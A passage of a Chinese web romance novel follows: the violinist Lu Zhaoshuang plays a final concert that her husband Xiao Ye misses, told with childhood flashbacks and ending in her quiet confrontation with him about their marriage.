他们大汗淋漓,脸上被憋得通红一片,却死死咬着牙关,仿佛要和彼此一起耗尽最后一丝氧气。 这是逃出人间最沉默、却最震耳欲聋的一次表演。 “我们就活在这巨大的差距, 我们就依靠这些幻想麻痹。 但是今天,我再醒来, 想清晨是夜晚, 想夜晚是白天, 我厌倦了体面, 丢掉假面! 丢掉假面!” 最后那一声“丢掉假面”,徐勿凡都已经破音了,纯粹靠着意志力硬顶上去,和最后一弓小提琴一起,完成了最为短促、沙哑,却也最为浓烈的一声嘶吼。 结束了吗? 无论是站在台上、急促地喘着气的逃出人间成员,还是坐在台下、早都忘了喝酒的观众,都在此刻剧烈的心跳中,产生了一种不真实感——结束了吗? 牧衡站在吧台后面,表情格外严肃,没有了他平时一贯的戏谑,第一个伸出手为他们鼓掌。 其他客人这才回过神来,也跟着鼓掌,没有欢呼、没有安可,只有经久不断的掌声。 仿佛这一刻才被带回人间,林珩转过头,看着自己怔愣的、不敢相信自己做到了什么的队员们。 他又哭又笑地攥紧右拳,缓缓地向上举起来。 很多年后,当林珩参加一档综艺节目,主持人采访他,他迄今为止印象最深刻的演出是哪一场? 他沉默了很久,没有看向镜头,而是失神地注视着远处。 “那是一个不太有名的酒吧,因为台风天,监控坏了,所以没有任何录像,连在场的客人都很少,没有任何办法去回顾那一天,我甚至知道我们每个人都肯定有弹错的地方,根本称不上完美,但无论是那天的体验、还是那天的我们……都再也不会有了。” 陆照霜对外界的一切都一无所觉。 小提琴还抵在颈边,握着琴弓的手却已经无力地垂落了下去。 那是种很奇怪的感觉,四肢百骸都在发烫,炙烤着她,身体里的力量在迅速流失,双臂却仍旧在舞动着,拉完了所有曲子。 然后,好像有什么东西,就在最后一弓拉完时,跟着被身体里的高温,燃烧殆尽了。 她仰着头,怔怔地看着头顶的白灯,仿佛被丢进了一个只剩下她自己的空白世界。 直到郁思弦掰开她的手,把小提琴和琴弓从她手里拿走。 然后牵住她的手腕,极力压抑着什么似的,对她说:“阿照,我们回去吧。” * 回到医院以后的陆照霜很听话地遵从了医嘱,以及和郁思弦的约定。 因此在两天后,她身体就好了很多,烧也彻底褪去,开始有节制地练习几天后闭幕音乐会的《第九交响曲》。 郁思弦很不放心,白天经常去申城交响乐团监督她,晚上不方便就近盯着,便说是请了逃出人间的成员来帮忙。 陆照霜一直以为他说的会是高若涵,但没想到,当她打开门的那一刻,看到的人会是徐勿凡。 她不由睁大了眼。 徐勿凡一眼就看出她在想什么,不咸不淡地道:“我最近正好没活干,小高白天还要上班,不方便。” “……这样吗?” “很不愿意是我?” “不是,”陆照霜连忙摆手,“没想到你愿意来。” 徐勿凡换了鞋后,走进屋内,环视了一圈,“还真是大小姐。” 陆照霜忐忑地观察她的神色,“你会觉得不自在吗?” 徐勿凡哂笑了一声,“只要你别露出这种表情,我就不会不自在。” 陆照霜立刻收敛起所有表情,“那我先去练习了。” 徐勿凡已经掏出手机坐在了沙发上,闻言头也没回地朝她伸出一只手,做了个“去吧”的手势。 等陆照霜从琴房出来,徐勿凡的位置已经挪到了露台,手机里播放着有关声乐教学的视频,她跟着视频亦步亦趋地做着练习。 听到动静,徐勿凡立刻闭上了嘴,把视频关了。 陆照霜也就没有故意提这件事,走过去,趴在露台栏杆上,眯眼吹着风。 “听说你老公出轨了?” 徐勿凡平静的声音从一旁传来。 陆照霜没回头,“可能吧,我也不太清楚他们到了什么地步,但不重要了。” “哦,反正你们又不是一路人,早点散了挺好。” 陆照霜这才偏过头去,看到徐勿凡两肘撑着栏杆,面向客厅的方向,那里的墙面上,悬挂着她和萧烨的结婚照。 照片经过精心挑选,是最漂亮的一张。 他们穿着礼服,坐在草地上,她握着萧烨的手,萧烨亲密搂住她的腰,他们脸上都露出得体的微笑。 经过了太多后期处理,陆照霜已经无法再透过这张照片,看懂两年前的那天,萧烨脸上的笑容是否真心了。 她好像也不在乎真心与否了。 她没有再问徐勿凡,为什么说他们两不是一路人,而是转而问道:“那你觉得我和谁是一路人?在我们认识的人里。” 她以为按照徐勿凡的评价标准,她会说郁思弦或者高若涵。 但徐勿凡说的是,“林珩。” 想起那天听说的这两人之间的纠葛,陆照霜摸不准徐勿凡这是什么意思,探究地看向她。 徐勿凡只是垂下眼,淡淡道:“一根筋的家伙,天真得让人讨厌,早晚会被人背刺。” 陆照霜若有所思,“我还以为你讨厌林珩,但好像不是那样。” 徐勿凡看向她。 陆照霜摊开手朝她笑了下,“你觉得我跟林珩比较像,但你不是不讨厌我吗?” 徐勿凡难以置信地睁大了眼,最后嫌弃地笑骂了她一句,“真是自恋。” 陆照霜也跟着笑笑,目光重新落在那张结婚照上。 她看了好一会儿,突然拉开露台的门,扯了把椅子过去,站在上面,把那幅结婚照取了下来。 “不想要了?”徐勿凡的声音从后面传来。 “嗯。” “你想怎么处理?” “先放进仓库,改天请人处理掉。” 徐勿凡“啧”了声,“干嘛那么麻烦,烧了吧。” 陆照霜一顿,回头。 徐勿凡正挑眉看她。 陆照霜抓着相框,闭了下眼,再睁开时,她说:“那就烧了。” 她们两合力把相框拆开,又从仓库里扒拉出来一个不知道做什么的铁桶,最后还需要一枚打火机。 她记得萧烨在家抽过一次烟,但不知道打火机放哪了。 正在翻找的时候,徐勿凡把她的打火机抛了过来,陆照霜也就从善如流地用它点燃了照片。 火舌从相片底下开始燃烧,一点点蜿蜒而上,最终卷上了他们两当日的笑脸。 陆照霜抱膝坐在铁桶边上,火焰就倒映在她眼睛里,她没有哭、没有笑,什么表情都没有。 只是安静地看着它变成了灰烬。 * 6月20日。 申城交响乐团本轮音乐季的闭幕音乐会。 为了演奏这首死亡之舞,全员统一黑色着装,所有人都比平时更严肃一些。 郁思弦也比以前到得更早,他从前从来不在演出开始前打扰她的。 “演出顺利,阿照。”郁思弦不动声色地打量着她的神色,将一束白百合递向她。 白百合似乎也有用在葬礼上的时候,在今天倒是很合适。 “谢谢。”她接过花,朝他笑了笑。 “阿照……”郁思弦似乎不知如何开口,有些不忍地看着她,“无论你看到什么,都不要影响到你的状态,好吗?” 陆照霜不太明白他什么意思,但等到她入场的时候,她懂了。 萧烨还是没有来。 那天握着她的肩膀,再笃定不过地对她承诺,说“我会去的,我跟你保证”的男人,还是没有来。 这是他第一次,主动提出要来看她的音乐会。 也是她第一次,看到属于萧烨的空座位,不感到难过了。 陆照霜轻轻按了一下胸口,那里不是什么感觉都没有的。 如果要说的话,那好像是一种很淡的遗憾。 怎么连他们之间的最后一次道别,留下的,也只有他的失约呢? 【作者有话说】 这章没离是因为阿照这几天太忙了,没空去离,开完音乐会马上就提! 32/ 第32章 ◎萧烨,我们离婚吧◎ 陆照霜正要收回视线,忽瞥见另一边熟悉的人影。 郁思弦穿着黑色西服,双手交叉坐着,细框眼镜后的面容冷淡清俊,眼神却藏着深切的担忧。 视线相交的一刻,恰逢朱高远鞠躬上场,音乐厅内响起阵阵掌声。 郁思弦跟着一起拍手鼓掌,目光却未从她身上移开分毫。 他这段时间以来,实在太过于担心她了,其实她真的已经好很多了。 除了在医院碰到萧烨的那天晚上,她一次都没再哭过呢,这不就是最好的证明? 她尽力朝郁思弦安抚地笑了笑,然后收回目光。 朱高远走上指挥台,朝观众席鞠了一躬,然后转过身来,面向乐团众人,缓缓挥动了指挥棒。 马勒《第九交响曲》的第一乐章以竖琴和圆号开场,跟着就是低回婉转的小提琴,旋律哀伤沉缓。 陆照霜五年前曾在一场公益演出里,和当地乐团一起合奏过这首交响乐,那时她总是还未抵达后面错乱激昂的部分,就已经控制不住自己的情绪了。 现在却可以完美地做到这一点。 小提琴跟着朱高远的指挥,轻而平静地诉说着这首死亡之舞的序章。 并不是不痛苦的。 毕竟,比和萧烨成为夫妻更久的,是作为青梅竹马一起度过的二十多年。 而青梅竹马是什么呢? 是在自己还不记事的时候,就已经陪在自己身边的人;是除了对家人的称呼外,第一个磕磕绊绊叫出来的名字;是和自己一起牙牙学语、跌跌撞撞学会走路的那个存在。 因为是章若华的女儿,所以学习小提琴,对陆照霜来说,堪称一种不可逃避的命运。 小时候她总被关在琴房里,透过落地窗看到外面追逐打闹的小朋友,他们像风一样、结伴从她窗前经过,隔着一扇玻璃,她总是感觉,自己好像变成了一只被锁在橱柜里的人偶。 而萧烨是所有小朋友里,最无拘无束、最不服管教的。 萧叔叔家里总是被闹得鸡飞狗跳,却总是拿他没办法。第二天萧烨仍旧顶着被打红了的半张脸,没心没肺地踩着滑板,笑呵呵搂着其他小孩的肩膀。 虽然很幼稚,但他确实,是她幼年最羡慕的,有关勇气和自由的代表。 不是没有过嫉妒,但那点丑陋的嫉妒,总是一看到他的脸,就会消失无踪。 因为也是他啊。 只要她听到玻璃窗被敲响,她就知道,啊,一定又是萧烨来了。 一次也没有出过错,只要她拉开窗子,就会看到他小小的身体踮着脚,双臂撑在她的窗台上,顶着贴了创可贴的脸朝她笑。 “阿霜阿霜!江湖救急!让我躲躲!” 陆照霜忧心忡忡地,伸出手指小心碰了碰他的脸,“你怎么又挨打了?” 他满不在乎地说:“这有什么的,我都习惯了。” 说完萧烨就利落地翻进她的琴房,扯过椅子,跨坐在上面,双臂搭在椅背上,信誓旦旦地说要听她练习,但总是听到一半,就枕着胳膊呼呼大睡。 “你又骗人,根本没有听我练习。”她嘴上嘟哝着抱怨,却还是眨巴着眼睛,悄悄凑过去,用手指轻轻戳他软乎乎的脸颊。 然后乐不可支地笑起来。 萧烨怎么可能真的需要躲来她家? 无论是杜宇宁还是其他人,都会为他准备更合理的借口、数不清的零食、他很喜欢的游戏机,外面天地广阔,而陆照霜的琴房里什么也没有。 陆照霜怎么可能真的嫉妒萧烨? 那些独自一人练习的时光,只是因为他待在那里,就已经让她觉得,不那么孤独了。 初中时,随着青春期的到来,身体开始变得让人难为情起来。 小女孩和小男孩再也不能毫无顾忌地玩到一起。女生手拉着手结伴去上厕所,交换漂亮的手链、五颜六色的小说和杂志;男生们勾肩搭背,谈论网吧、篮球、游戏和球鞋。 陆照霜和任何一方都玩不到一起。 郁思弦因为长期休学,年级比他们低,这时他们甚至不在同一个学校。 而萧烨的班级距离她有四五个教室,每次经过的时候,她总是情不自禁地偏头去看,萧烨永远被很多人包围着,并没有陆照霜可以挤进去的空余。 十二岁的陆照霜过得很寂寞。 压倒她的最后一根稻草,是有一天她经过走廊的时候,突然有人掀了她的裙子。 她瞪大了眼,立刻伸手按住了,回过头去,是一个班上不学无术的男生,正捧着肚子哈哈大笑,周围还有其他人在看热闹。 她气血翻涌,抿紧了唇,上前一步,平生第一次,狠狠给了对方一巴掌。 男生不敢置信地捂住了脸,抬头看她。 她颤着声音要求:“你给我道歉!不然我就去告诉老师!” “好好好,对不起对不起行了吧?”男生敷衍地撇了撇嘴,走过去跟自己的朋友站到一起,还故意大声嘀咕,生怕她听不到,“真是马屁精,就知道告老师。” 走廊里顿时充满了嘻嘻哈哈的笑声。 陆照霜绷着脸,一眼也不看他们,径自从他们身边经过。 在他们那个年纪,告老师和告家长被视为很丢脸的行为,她没能免俗,只在体育课的自由活动时间,一个人钻进小树林里偷偷抹眼泪。 突然,她面前的树丛被拨开,一个扭曲的鬼脸闯进她眼里,“哈哈,阿霜,叫你偷懒,吓到了没!” 她确实被吓到了,呆呆地看着他,连抽噎的声音都被吓停了。 萧烨和他们班的体育课是同一节,他先前不是还在跟同学打篮球吗?他从哪冒出来的? 但同样被吓到的,还有萧烨。 他是被她的眼泪吓到了,愣了一会儿,手脚都不知道该往哪放了。 “对不起对不起,我再也不吓你了,你别哭了阿霜,”他笨手笨脚地帮她擦了会儿眼泪,又突然反应过来,很严肃地抓着她的肩膀,“是不是别人欺负你了?” 她不肯说,但萧烨到底还是从她嘴里逼问出了事情经过。 得知那个男生的名字以后,他一言不发,捋起袖子,气势汹汹地就跑向了教学楼。 “萧烨!你要干嘛?” 她着急地叫他,但她蹲得太久,脚已经麻了,外加男女生青春期的不同发育,体力有着显著差距,她没能追上萧烨。 等她赶到的时候,一切尘埃落定。 两个男生都鼻青脸肿的,站在老师办公室门口,正在被教导主任厉声训斥。 “萧烨,我再给你最后一次机会,为什么无缘无故打同学?你再跟我犟,我就只能通知你的家长了。” 陆照霜知道萧叔叔真的很严厉,立刻着急了,她努力想从人群里挤进去,去跟老师解释事情经过。 明明,就是那个男生先做错的呀! 可她还没能靠近,萧烨就给她飞去一个制止的眼神,然后双手背在脑后,吊儿郎当的样子,“看他不顺眼呗,还能为什么?以后见他一次我打他一次,就这样。” 因为这种拒不认错、死不悔改的强硬态度,萧烨成功荣获检讨一篇,全校点名批评一次,罚了整整一个月的操场值日,最重要的是,被叫了家长。 陆照霜提心吊胆,最后一节课的下课铃一响,她就冲去了萧烨的教室,但还是没赶上,萧烨已经被接走了。 她回家时,父母正在议论,说萧烨今天又不听话,被萧叔叔狠狠收拾了一顿,还听他们感慨,说这孩子年纪这么小,就这么无法无天,长大了该怎么办之类的。 就好像,萧烨做了很坏的事,是个很坏的孩子一样。 “他才没有,你们不要那么说他!”她大声跟父母抗议了一句,然后在父母诧异的眼神里,丢下书包,就冲去了萧家。 萧家阿姨心软,没有拦她,而是悠悠叹了口气,“他还跟他爸犟着呢,正好阿霜你去看看他吧。” 陆照霜心头七上八下,做了好多心里建设,可推开门的那一刻,眼眶还是立刻红了。 萧烨本来就已经鼻青脸肿,又挨了萧叔叔盛怒之下的一顿揍,这会儿已经躺在床上了。 他明明是在帮她出气,怎么会遭到这么多的惩罚? 她坐在他的床边,哭得泣不成声,“如果我今天没有穿裙子就好了,你就不会被打成这样了。” “哭什么呀?别哭、别哭。” 萧烨嘴巴肿着,说话时有点大舌头,很小心地擦掉她的眼泪,“我们阿霜穿裙子这么漂亮,为什么不穿?以后谁敢再这么欺负你,告诉我,我一个个收拾过去!” 他总这样,明明平时看起来对什么都不在意,却总能在某些不经意的时刻,给人会心一击。 陆照霜悲喜交加,哭得更厉害了。 萧烨睁圆了眼睛,完全不知道该怎么办了,手都不知道该往哪里搁,“哎呀,你怎么还哭啊?我真的没事,过几天就好啦!” 十三岁那年,她的初潮来了。 但最开始发现这件事的人不是她自己。 那天放学后,她照常朝校门口走去,萧烨单脚支地,站在车边等她。 他本来只是在低头玩手机,结果在她走近以后,却忽然变了脸色,睁大了眼看着她,不敢置信的样子。 “怎么了?”陆照霜莫名其妙地问。 “你、你——”萧烨涨红了脸,指着她,却说不出一句话,忽然他就把自己校服外套脱了下来,不由分说系在了她腰上。 然后打开车门,推着她坐进车里,“你先回家再说!” 她看着他重新把车门合上,已经往另一边走了,并没有上车的意思,她连忙降下车窗,探出头问:“萧烨,你不回家吗?” 萧烨只留给她一个耳尖红红的背影,朝她摆了摆手,“有事,不回!” 等陆照霜回到家,看到萧烨外套上的红色痕迹以后,才终于迟钝地反应过来。 生物课本上讲的,她的生理期到了。 所以,萧烨是看到……所以他才…… 啊!救命! 她脸上的颜色如同气球一样飞速膨胀起来,她把衣服丢下,直接把脸埋进了被子里。 这要她,明天怎么去见他嘛! 在羞恼到恨不能当场失忆的这一刻,她却也同时意识到,他们好像,不再只是,从小一起长大的好朋友了。 然后,十四岁那年,她的生活急转直下。 妈妈查出了癌症。 家里开始争吵不断。 爸爸认为妈妈耽误到现在这个程度,是因为她总用乐团的事情推迟体检,平时也不照顾自己的身体,强硬要求妈妈从乐团辞职。 而妈妈则威胁爸爸说,你要让我离开乐团,不如让我去死。 他们翻来覆去吵着这个话题,在家里不知道砸碎了多少东西,最后,虽然没有达成任何共识,但还是去了医院,商讨治疗方案、准备手术。 而十四岁的、还派不上任何用场的陆照霜,理所当然被留在了家里,由家政阿姨照顾她,爸爸妈妈这会儿谁都没空管她了。 那时她年纪还太小了,还不明白病痛与死亡的真正含义,她只是隐约又懵懂地窥见了一点未来悲剧的先兆,就已经害怕到浑身发抖了。 她每天规律地上学、放学、练琴、睡觉,周而复始,不再需要任何人的监督,做一个再乖不过的乖小孩。 她不敢给爸爸妈妈打电话,因为害怕听到任何无法承受的消息。 她每天都活在巨大的恐惧里,却一点儿也不敢表现出来,唯恐她给大家添一点麻烦,就会引起可怕的连锁反应。 她以为她表现得很正常的。 可是,那天晚上,萧烨还是敲开了她家的门。 他身后停着一辆单车,腋下夹着头盔,对她扬了扬下巴,“走,阿霜,我爸又打了我一顿,陪我出去逛逛。” 她诧异地抬眼,果然在他胳膊上看到了红痕。 那时的陆照霜根本不敢拥有任何娱乐和游戏,因为她好害怕,她知道妈妈现在饱受折磨,她怎么能在这种时候拥有快乐? 可他说的不是“我带你去逛逛”,而是“陪我去逛逛”。 不是陆照霜需要萧烨,而是萧烨这时需要陆照霜。 这让她心头终于松动了。 仿佛是看出了她的动摇,萧烨大步走过来,直接把一个头盔扣在了她头上,然后拉住她的手就往外走。 “注意注意!陆照霜同学,现在不是我请求*你陪我去逛,而是我要求你陪我去逛,明白吗?”他下巴微抬,倨傲又不容质疑地说。 她终于还是坐上了他的后座。 夏天的夜晚,风很舒服,吹得少年的后颈T恤露出一截,那下面干净整洁,没有任何伤痕,只有少年还待发育的薄瘦骨骼。 萧叔叔其实,每次都是先打他的背的。 她闭上眼,伸手轻轻环抱住了他的腰,没有揭穿他的善意谎言,就把这个秘密送给了穿过他们的风,让它随风而去。 萧烨因为她的动作,身体僵硬了一会儿,但同样什么都没说。 她额头抵住他的脊背,第一次问出那个她根本不敢问任何人的问题,“萧烨,妈妈会死吗?” 萧烨回答不了,和她一样只有十四岁的少年,回答不了有关生死的沉重问题。 他只是咬着牙,拼命地往前骑,好像只要他们更快一点,就可以从无所适从的现实里逃窜出去。 他们最终抵达了一家livehouse。 萧烨拉着她的手,走过去买了两张门票,看着工作人员给他们两的手臂上按了章。 她第一次来这种地方,反复翻看着门票,上面乐队的名字叫“繁星之后”,她很新奇地看向萧烨,“这是你喜欢的乐队吗?” 萧烨摊开手,“不知道啊,第一次听。” 她愣住了,萧烨干脆拉着她的手,闯进了繁星之后的表演现场。 演出不知道已经开始多久了,主唱站在台上,用迷人的嗓音,唱得声嘶力竭,站席区的人群拥挤得不成样子,跟随着乐队的节奏,举着手跳动着,声音鼓噪,汗水滚烫。 鲜活、热烈、像挥洒着无尽的生命力。 后来她才知道,那首他们只听了一半的歌,叫做《昨日已逝》。 音响很大,歌迷还在跟唱,巨大的噪声充斥着耳膜,她只看到萧烨很着急地一直张着嘴对她说什么,她也很着急,大声问:“你说什么?” 忽地,音乐停住,进入了一个短暂的间歇。 萧烨带点破音的喊声,就这么毫无征兆地,传到了所有人的耳朵里。 然后,从主唱到观众,全都乐不可支地望向他们两,看得十四岁的少年涨红了脸,恨不能钻进地底。 那天,他喊的是——“阿霜,拉好我的手,我们不要走散了!” 那是闪耀了她一整个青春的少年。 他带她闯进一场开到中途的陌生演出,就像他闯进她无人可以诉说的悲伤里。 但是后来,少年忘记了带她去听过的乐队听过的歌,少年再也没有在她难过时带她去兜过风。 在距离那天过去十二年后,不知道是谁先松开了手,他们终于还是走散了。 《第九交响曲》第四乐章的末尾低沉绵长,宛如弥留之际的最后一次呼吸,终于还是不舍又释然地,归于宁静。 音乐厅内沉寂许久,而后掌声雷动。 “这是我们这次音乐季最棒的一场演出。”朱高远眼含热泪,朝着众团员鞠了一躬,又面向了观众席。 陆照霜跟随朱高远,以手抚胸,一起向观众们深深致意。 她的目光再次经过那个空座位,然后就像看到其它座位一样,平静地移向更远的方向。 她不知道的是,就在紧闭的音乐厅门外,男人坐在长椅上,听着里面传来的热烈掌声,痛苦地闭上了他的桃花眼。 那张音乐会的门票,攥在他被汗水濡湿的手掌中,皱得不成样子。 …… 时间拉到几个小时前。 萧烨在酒店套房,仔仔细细地刮掉了这几天生出来的胡茬,郑重地换了一身版型最端正、最衬他的西服,然后拿起订好的一束红玫瑰。 最后对着镜子确认自己毫无破绽,他终于满意地准备起身,去参加阿霜的音乐会。 其实距离开场还早,但他实在有些忍耐不住了,他必须尽快见到她。 就在这时,电话铃声不合时宜地响起。 他皱着眉,朝屏幕看去,是父亲,他还是接起。 “萧烨,待会儿有个饭局,跟你接下来的那个项目关系很大,你过来一趟。” 萧烨皱了下眉头,“爸,我今天有事。” “你能有什么事?”萧父冷笑一声,“连我都听到风声了,你最近跟那个白斯榕又走得很近,有事没事就一起喝酒,这就叫你说的有事?” 再次听到白斯榕的名字,医院里的那一幕不受控制地跃入大脑,萧烨脑袋又开始隐隐作痛。 他按住太阳穴,声音几乎带着一种无可奈何,“爸,和白斯榕没关系,是阿霜的音乐会,我之前已经答应过她了。” “噢,阿霜的音乐会。” 萧父的声音终于和缓了一点,欣慰于自家儿子到底还算有点理智,没有被白斯榕迷了心智,影响到他们夫妻之间的关系,但这,丝毫不会改变他的强硬。 “一场音乐会而已,我看你陆叔都没去过几次,说到底只是消遣的东西,还是公事更重要,阿霜是个识大体的孩子,不会连这种事都不体谅你的。” 萧烨没法向父亲阐明,这段时间以来、发生在他和陆照霜之间的桩桩件件,这也根本不能用“一场音乐会而已”来轻易撇开。 尽管,从前的他就是这么想的。 任何事情都可以成为他不去音乐会的借口。 他未来实在有太多机会了,因此,摆在当下的“这一次”,就变得不再珍贵,可以被一遍又一遍,无限期往后拖延下去。 以至于这一次,他终于看到,他已经站到了某个悬崖边上,再也无法后退,也没有“下一次”了。 他自言自语道:“这次不一样。” “萧烨,”萧父的声音冷了一些,是那种身居高位之人的不怒自威,“你要知道轻重。” 萧烨咬了咬牙,低头看向腕表。 距离音乐会时间还久,只要他速战速决,那两边他都能处理好。 他闭上眼,“好,位置在哪?我这就去。” 抵达酒店门口时,萧烨把玫瑰花先托付给前台,表示自己待会会来取走。 然后理了理袖扣,尽可能按捺下自己的烦躁,走入了预约好的包房。 看清那位重要客人的脸时,他心里情不自禁地蹦出一声,草。 是那个曾让他和阿霜大吵过一次的李总。 “小萧总来了?”李总不咸不淡地打了声招呼。 萧父坐在主位,冷瞥过来一眼,“叫你早点出发,怎么还能迟到的?” 李总笑道:“现在的年轻人嘛,和咱们这一辈人可不一样喽。” 萧烨心下恶心,要真觉得和他差着辈,就别娶个比他年纪还小的老婆啊。 但他面上不显,只是镇定地走过去,给自己倒了杯酒,“是我失礼,先自罚一杯,给李总赔罪。” 三人这才开席。 上菜的功夫,萧父和李总先各自聊着家事暖场,话里话外,无非就是抱怨一下自己家里的小辈们如何不让人省心。 萧烨坐旁边象征性听着。 只是说到一半,话题陡然转到了他身上。 “不知道贵夫人现在身体如何了?” 萧烨猝然抬眼。 就看到李总用一种仿佛很担心、很关切的眼神问:“上次一起吃饭,贵夫人中途身体不适提前离场,我们连她的面都没见到,我夫人可念叨了好一阵呢,说是怕我们招待不周,还害贵夫人闹了肚子。” 萧烨桌下的拳头攥紧,这个、该死的、老东西。 感情是在这儿等着他呢,上次阿霜走了以后,他喝了多少酒赔罪,这时候还要当着他爸的面拎出来不放。 果不其然,听说了这件事,萧父脸色顿时有些不好看,“还有这种事?” “是啊,年纪轻轻的,还是要多注意身体啊。”李总叹了口气,很关怀的语气。 萧父向萧烨瞥去凛冽一眼,淡声道:“我看是这些孩子都太不懂事了,就知道瞎糊弄,等我回去,好好教训教训他们。” 萧烨垂下的眼瞳里闪过一片阴翳。 虽然那件事后,他也很生气阿霜中途撇下他离场,但听到他们用这样的语气谈论阿霜,他还是产生了难以自抑的愤怒。 他们难道就过得很体面吗?凭什么议论她,又有什么资格教训她? 但这些话,他清楚,说了也是没有用的。 对他们来说,他说再多话、争辩再多,也只是小辈“不知轻重、不识大体”的胡言乱语。 萧烨深吸了一口气,又看了一眼时间,然后朝那位李总微微一笑,“李总客气了,还是我们夫妻两那天失礼了,今天我一定,好好招待李总。” …… 萧烨几乎用尽了毕生所学的全部小把戏,奈何对方也是老油条,等把李总灌趴下,时间远超他最初的预期。 他狠狠拍了拍自己的脸,让自己清醒一点,然后抓起外套,转身就走。 “萧烨。” 他顿了顿,回头。 萧父坐在那里,神情复杂地看着他,“算了,我就不跟你们两计较之前的事情了,以后你和阿霜都要懂点分寸。” 萧烨没来由地笑出了声来。 萧父拧起眉,不解地看向他。 萧烨懒得再说什么,一言不发地迈出了包厢。 从前台拿过玫瑰花,他坐进劳斯莱斯的后座,跟司机报过地点以后,他心里飞快计算着时间。 音乐会开始前的进场时间已经赶不上了,但是中场休息时他还能入场,来得及的。 来得及的—— 劳斯莱斯突然急刹。 萧烨身体未稳,往前栽去,又被安全带扯了回来。 他皱着眉头,几乎要按捺不住积累一天的怒意,“怎么开车的?” 司机战战兢兢,“萧总,堵车了。” 萧烨往窗外望了一眼,然后闭目靠在后座深深呼吸。 申城是大都市,堵车常有,现在也不是晚高峰,过一会儿自然就散开了。 可他心里,为什么充满了一种不详的预感呢? 时间一分一秒过去,车流纹丝不动。 司机打听完,跟他小心汇报:“好像是出了车祸,还挺严重的。” 萧烨不再犹豫,抓起那束玫瑰花就下了车。 他打开导航,看着穿去另一条路的路线,然后照着那个方向跑去。 要经过的,是一条也就够两个人穿行的窄道,他多少年没走过这种地方了,难以言喻的气味扑进他的鼻尖,但他顾不上嫌弃。 他没时间嫌弃了。 直到经过拐角的时候,他的肩膀被从左侧飞过来的自行车狠狠一撞。 那人撞了人也不见丝毫歉意,只是抬了下鸭舌帽,朝他比了个鬼脸,“走路不看路,活该!” 萧烨却根本没注意到那人在说什么。 他此刻的脑子绷得只剩一条线,怔怔地看着摔在地上,被自行车车轮压过、残落一地、留下了长长一道肮脏车辙的红玫瑰。 然后,他慢慢弯下腰,把那束红玫瑰捡起来,动作很轻地拂了拂,继续往前走。 穿过这条小巷,他成功打到了车。 可是—— “抱歉,先生,中场时间已经过去了,我不能放您进去了。”音乐厅工作人员歉意地对他说。 他还是没能赶上。 萧烨只能把红玫瑰搁在一边,坐在外面,听着里面奏响的音乐。 他从小到大都没听懂过古典音乐这种东西,他分辨不出此刻从里面传出来的音乐究竟在讲述什么,他只能试图想象,里面的哪一道声音,会是来自阿霜的。 终于,音乐会结束了。 先是观众们鱼贯而出,过了很久以后,申城交响乐的成员们才出现在视野尽头。 走在前面的,是一个老人和穿着黑色礼裙的年轻女人,两人正在谈论着什么。 萧烨立刻就站直了,目光死死停在了她的脸上。 那是阿霜。 朱高远问:“照霜,之后你有什么安排?” 音乐季结束以后,没有了紧凑的演出和排练,他们就真的可以空闲一阵了。 陆照霜老实回答:“还没想好。” 最近发生的事太多了,这边的事虽然暂时停了,但逃出人间那边还在照旧,她最近实在有些太累了。 朱高远提议:“七月的时候,巴黎有个大师班,我可以推荐你去,对你会有很大帮助的。” 陆照霜微微失神,如果是之前的话,这种机会,她一定会努力去抓住吧。 因为她很清楚,这是母亲会期望她做的选择,也对她竞选首席很有帮助。 可是现在…… 她终究还是对朱高远摇了摇头,“老师,这个机会还是留给别人吧,我想休息一段时间,有很多事情,我都想再好好想想。” 朱高远闻言叹了口气,显然有些遗憾,但也没有强求,“那好,你好好调整一下状态,刚当选首席就碰上这么频繁的演出计划,你也确实有点太累了,我看你黑眼圈都快熬出来了。” 陆照霜听得笑了笑,“我看您的白头发也多了不少。” 朱高远哼笑了一声,“你以为是我新长的白头发?是我最近没空去染黑了。” 两人说笑间,抬眼,就看见了杵在门口的那个男人。 他头发很乱,脸色有种不正常的红,手上提着西装外套,袖口都耷拉在了地面他也没发觉,身上就穿着衬衫和西裤,衬衫被汗水打得有些皱巴巴的。 见过太多次萧烨意气风发的模样,乍见他这般萧索疲惫的姿态,两个人都险些以为自己看错。 朱高远愣了一会儿,反应了过来,连忙笑道:“你们夫妻两去说话吧,我就不打扰你们了。” 陆照霜并未阻止,正好她也有话,想单独跟萧烨说。 深吸了口气,她抬脚朝萧烨走近。 距离他还有一米多的时候,酒味就飘进了她的鼻尖,她下意识蹙了蹙眉,“你喝酒了?” 来听她的音乐会之前,他竟然还去喝酒了。 又或者说,就是因为去喝酒了,所以没来听她的音乐会? 陆照霜垂下眼,掩住自己此刻还是会泛起的失望。 “是啊,”萧烨抬起胳膊,轻轻嗅了一下,笑道:“这么明显吗?” 然而,当他看到,她站在离他一步远的位置,就不再走近的时候,他笑不出来了。 “怎么,觉得难闻,嫌弃?” 陆照霜没回答,只是淡淡道:“这种事无关紧要。” “无关紧要?”萧烨怔怔地重复了一遍,然后还是笑出了声。 他紧紧盯着陆照霜的眼睛,像是要从里面看出什么似的,“你就不想知道,我是为什么喝了这么多酒的吗?” 陆照霜顿了顿,然后静静地迎上他的注视,“不想。” 不想。 他的心脏沉沉坠落下去。 她不想知道。 他是怎么为了赶时间,跟那个大腹便便的李总虚与委蛇,给对方往死里灌酒,也给自己往死里灌酒;他是怎么顶着被酒精烧到灼痛的肠胃一路急奔;他是怎么被人撞到了肩膀,到现在还在隐隐作痛…… 他是有多想完成对她的承诺。 但她不想知道。 “哈?”萧烨五指插进凌乱的头发,不敢置信地看着她,“你怎么能说你不想知道?” 陆照霜平静地注视着他的崩溃。 “萧烨,我不知道在你来之前发生了什么、做了什么?从你现在的样子来看,那应该是很糟糕的事情,所以让你觉得非常委屈……” “但是,你好奇过我吗?” 她的目光飘远,落在远处还大敞着的主厅,声音没有特别明显的情绪波动,像是在陈述某种既定的事实。 “你好奇过吗?在我们蜜月的最后一天,你对我说完那句话以后,我是什么心情?” 萧烨身体一僵。 她只是平淡地继续陈述。 “你转头就选择出国,我每天回去,待在那个挂着我们结婚照的家,却始终只有我一个人,那两年我是什么心情?” “你从国外回来了,我去给你接风,但你当着所有人的面,给我戴那种项链,我还不能不配合你,假装我很高兴,我是什么心情?” “我们但凡遇到矛盾没说开,你就会转头就走,消失十天半个月,然后等你想起我的时候再回来,在你消失的那些时候,我是什么心情?” “我给你寄过91张门票,我曾经有91次,在上台前,希望能在观众席上看到你,但我只是看了91次空座位而已,我是什么心情?” “萧烨,你从来不想知道我是什么心情。” 陆照霜温温柔柔地说:“所以,你经历了什么,你现在是什么感觉,我也不想知道了。” 